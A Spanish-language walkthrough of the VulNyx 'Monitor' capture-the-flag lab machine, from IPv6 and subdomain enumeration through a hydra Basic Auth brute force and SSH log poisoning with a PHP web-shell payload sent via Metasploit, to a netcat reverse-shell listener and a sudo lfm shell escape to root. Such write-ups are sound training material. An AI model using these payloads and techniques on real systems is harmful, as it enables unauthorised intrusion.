VulNyx | Monitor (Walkthrough)

d4t4s3c
6 min readDec 30, 2023

Monitor es una máquina Linux de dificultad difícil de la plataforma VulNyx, creada por d4t4s3c y funciona correctamente en VirtualBox.

Skills:

  • IPv6
  • Subdomains Enumeration
  • Brute Force (Basic Auth)
  • Log Poisoning (LFI to RCE)
  • Privilege Escalation (lfm)

Nmap

❯ nmap -n -Pn -sS -p- --min-rate="5000" 192.168.1.28

Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-30 15:59 CET
Nmap scan report for 192.168.1.28
Host is up (0.000094s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
❯ nmap -n -Pn -sVC -p80 192.168.1.28

Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-30 16:00 CET
Nmap scan report for 192.168.1.28
Host is up (0.00034s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)

80 http Apache httpd 2.4.56 ((Debian))

Port: 80 (HTTP)

realizo fuzzing en busca de posibles rutas/archivos sin éxito…

revisando el código encontré un correo electrónico y el dominio monitoring.nyx que agrego a mi /etc/hosts

accediendo desde el dominio monitoring.nyx se muestra lo mismo

Subdomains Enumeration

obtengo con gobuster el subdominio event.monitoring.nyx que agrego nuevamente a mi /etc/hosts

❯ gobuster vhost -w /opt/subdomains-top1million-110000.txt -u 'http://monitoring.nyx' --append-domain

Found: event.monitoring.nyx Status: 403 [Size: 285]

al acceder desde event.monitoring.nyx da un código 403 Forbidden

realizo fuzzing en busca de posibles rutas/archivos sin éxito…

❯ wfuzz -c --hc=404,403 -w /opt/common.txt -u 'http://event.monitoring.nyx/FUZZ'

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://event.monitoring.nyx/FUZZ
Total requests: 4614

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================


Total time: 0
Processed Requests: 4614
Filtered Requests: 4614
Requests/sec.: 0

realizo fuzzing de nuevo pero ahora agregando el . por si existen posibles rutas/archivos que puedan ser ocultos y obtengo la ruta /.admin

❯ wfuzz -c --hc=404,403 -w /opt/common.txt -u 'http://event.monitoring.nyx/.FUZZ'

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://event.monitoring.nyx/.FUZZ
Total requests: 4614

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000285: 401 14 L 54 W 467 Ch "admin"

Total time: 4.243458
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 1087.320

al acceder a /.admin me aparece un Basic Auth

Brute Force (Basic Auth)

la ruta se llama /.admin así que deduzco que el usuario puede ser admin

❯ hydra -l admin -P /opt/techyou.txt http-get://event.monitoring.nyx/.admin -F -I

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-30 16:31:43
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10002 login tries (l:1/p:10002)
[DATA] attacking http-get://event.monitoring.nyx:80/.admin
[80][http-get] host: event.monitoring.nyx login: admin password: system
[STATUS] attack finished for event.monitoring.nyx (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-30 16:31:59

admin:system

accedo con las credenciales obtenidas, pero no encuentro nada de interés

realizo fuzzing de nuevo arrastrando la autenticación…

❯ wfuzz -c -w /opt/common.txt --basic 'admin:system' -u 'http://event.monitoring.nyx/.admin/FUZZ.php' --hh=282

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://event.monitoring.nyx/.admin/FUZZ.php
Total requests: 4614

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000001509: 200 11 L 14 W 133 Ch "event"

encuentro el archivo event.php y al acceder se muestra lo siguiente:

IPv6

obtengo la IPv6 de la máquina objetivo

❯ ping6 -c2 -n -I eth0 ff02::1 |grep "fe80" |awk '{print $4}'

fe80::a00:27ff:fe51:75b0%eth0:

fe80::a00:27ff:fe51:75b0%eth0:

con nmap busco puertos abiertos por IPv6 y encuentro el nuevo puerto abierto: 22 OpenSSH que por IPv4 no estaba abierto en el nmap inicial

❯ nmap -6 -sS -p- fe80::a00:27ff:fe51:75b0%eth0:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 19:19 CEST
Nmap scan report for fe80::a00:27ff:fe51:75b0
Host is up (0.000097s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

❯ nmap -6 -sVC -p22,80 fe80::a00:27ff:fe51:75b0%eth0:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 19:19 CEST
Nmap scan report for fe80::a00:27ff:fe51:75b0
Host is up (0.00038s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
MAC Address: 08:00:27:51:75:B0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| address-info:
| IPv6 EUI-64:
| MAC address:
| address: 08:00:27:51:75:b0
|_ manuf: Oracle VirtualBox virtual NIC

al intentar acceder por SSH a modo de prueba, veo que se generan eventos que posteriormente se muestran en la página web que visite anteriormente

Log Posoning

intento envenenar el log inyectando código PHP sin éxito

❯ ssh -6 '<?php system($_GET["cmd"]); ?>'@fe80::a00:27ff:fe51:75b0%eth0:
remote username contains invalid characters

error: remote username contains invalid characters

investigando un poco doy con el siguiente issue:

en la ultima actualización del cliente ssh (openssh-client), han implementado una medida de seguridad, la cual no nos permite inyectar código malicioso en el campo username

al no poder utilizar el cliente ssh se me ocurrió hacerlo con Metasploit

❯ msfconsole -q
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME '<?php system($_GET["cmd"]); ?>'
msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWORD blabla
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOST fe80::a00:27ff:fe51:75b0
msf6 auxiliary(scanner/ssh/ssh_login) > exploit

[*] fe80::a00:27ff:fe51:75b0::22 - Starting bruteforce
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

consigo ejecutar comandos como usuario www-data

ya ejecutando comandos intento obtener una reverse shell

obtengo la shell como usuario www-data

❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.53] from (UNKNOWN) [192.168.1.28] 53732
id;hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
monitor

User Pivoting (www-data > kevin)

enumero al usuario kevin revisando el archivo /etc/passwd

www-data@monitor:/$ grep "sh$" /etc/passwd

root:x:0:0:root:/root:/bin/bash
kevin:x:1000:1000:kevin:/home/kevin:/bin/bash

busco con grep de forma recursiva archivos que contengan en el interior la cadena kevin en varios directorios, hasta encontrar que en /etc/apache2/.htpasswd existen credenciales del usuario kevin

www-data@monitor:/$ grep -r --color "kevin" /etc 2>/dev/null
/etc/apache2/.htpasswd:#kevin:$up3r_$3cUr3_@p@CHe

kevin:$up3r_$3cUr3_@p@CHe

me convierto en usuario kevin con las credenciales obtenidas

www-data@monitor:/$ su - kevin
Password:
kevin@monitor:~$ id
uid=1000(kevin) gid=1000(kevin) grupos=1000(kevin)

Privilege Escalation

kevin puede ejecutar como root el binario lfm con sudo

kevin@monitor:~$ sudo -l
Matching Defaults entries for kevin on monitor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kevin may run the following commands on monitor:
(root) NOPASSWD: /usr/bin/lfm

ejecuto lfm para ver el funcionamiento del binario

kevin@monitor:~$ sudo -u root /usr/bin/lfm 

al presionar la tecla H me aparece un menu de ayuda

y al presionar la tecla K aparece el típico modo paginate de un editor que al escribir ! permite ejecutar comandos

me convierto en usuario root abusando del privilegio

# bash -i
root@monitor:/home/kevin# id
uid=0(root) gid=0(root) grupos=0(root)

ya como usuario root puedo leer las flags user.txt y root.txt

root@monitor:~# find / -name user.txt -o -name root.txt |xargs cat
2b56bb**************************
9951f9**************************

hasta aquí la máquina Monitor.

Happy Hacking!

--

--